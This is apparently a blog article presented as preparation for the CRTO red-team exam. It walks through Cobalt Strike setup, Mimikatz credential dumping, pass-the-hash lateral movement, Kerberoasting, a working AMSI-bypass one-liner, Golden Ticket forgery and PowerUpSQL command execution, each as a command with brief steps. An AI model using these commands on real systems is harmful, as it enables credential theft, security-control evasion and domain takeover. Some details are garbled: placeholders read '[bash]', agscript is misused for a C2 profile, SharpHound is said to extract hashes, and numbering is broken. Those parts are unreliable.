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Introduction
Becoming a Certified Red Team Operator (CRTO) requires advanced offensive security skills, including malware development, evasion techniques, and Active Directory exploitation. This article breaks down the core tactics tested in the CRTO exam, providing actionable commands and methodologies for aspiring red teamers.
Learning Objectives
- Understand critical red teaming techniques like OPSEC-aware Cobalt Strike usage.
- Learn credential theft, lateral movement, and domain dominance strategies.
- Master evasion tactics to bypass security controls like AMSI and EDR.
You Should Know
1. Cobalt Strike Beacon OPSEC Configuration
Command:
./agscript [bash] [bash] [bash] [bash] my_profile.cna
Step-by-Step Guide:
- Modify the Malleable C2 profile (
my_profile.cna) to evade detection. - Use `set sleeptime “5000”` to slow beacon callbacks.
- Enable `set useragent “Mozilla/5.0…”` to mimic legitimate traffic.
- Deploy with `./agscript` to apply OPSEC rules before engagement.
2. Credential Dumping via Mimikatz
Command (Windows):
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
Step-by-Step Guide:
- Load Mimikatz into memory using PowerShell evasion (
IEX).
2. Execute `sekurlsa::logonpasswords` to extract plaintext credentials.
- Use `lsadump::lsa /patch` for NTLM hashes from LSASS.
4. Obfuscate commands to bypass AMSI.
3. Lateral Movement with Pass-the-Hash
Command:
psexec.py -hashes [LM:NTLM] [bash]@[bash]
Step-by-Step Guide:
1. Extract hashes using Mimikatz or SharpHound.
2. Use Impacket’s `psexec.py` for lateral movement.
3. Alternatively, leverage `wmiexec.py` for stealthier execution.
4. Kerberoasting for Privilege Escalation
Command:
Get-DomainUser -SPN | Request-SPNTicket -OutputFormat Hashcat
Step-by-Step Guide:
- Use PowerView to identify Service Principal Names (SPNs).
2. Request TGS tickets with `Request-SPNTicket`.
3. Crack offline using Hashcat (`-m 13100`).
5. Bypassing AMSI with PowerShell
Command:
[bash].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Step-by-Step Guide:
1. Disable AMSI by patching `amsiInitFailed`.
2. Use base64-encoded payloads to evade signature detection.
3. Leverage tools like AMSITrigger to test evasion.
6. Persistence via Golden Ticket Attack
Command:
ticketer.py -nthash [bash] -domain-sid [bash] -domain [bash] [bash]
Step-by-Step Guide:
1. Extract the `krbtgt` NTLM hash using DCSync.
2. Generate a Golden Ticket with Impacket’s `ticketer.py`.
3. Inject into memory with `mimikatz kerberos::ptt`.
7. SQL Server Attacks via PowerUpSQL
Command:
Get-SQLInstanceDomain | Invoke-SQLOSCmd -Command "whoami"
Step-by-Step Guide:
1. Enumerate SQL instances with `Get-SQLInstanceDomain`.
2. Execute commands via `Invoke-SQLOSCmd`.
3. Escalate privileges via `xp_cmdshell` exploitation.
What Undercode Say
- Key Takeaway 1: OPSEC is critical—even successful attacks fail if detected.
- Key Takeaway 2: Real-world red teaming requires deep AD knowledge and evasion mastery.
Analysis: The CRTO exam validates practical offensive skills, emphasizing stealth and precision. As defenses improve, red teams must innovate—using living-off-the-land techniques, custom malware, and advanced persistence methods.
Prediction
Future red team engagements will rely more on AI-driven evasion, API-based C2, and cloud-native attacks. Defenders must adapt by enhancing logging, behavioral analysis, and zero-trust architectures.
Ready to test your skills? Practice these techniques in a lab environment and explore Zero-Point Security’s CRTO course for hands-on training.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Usman Sikander13 – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
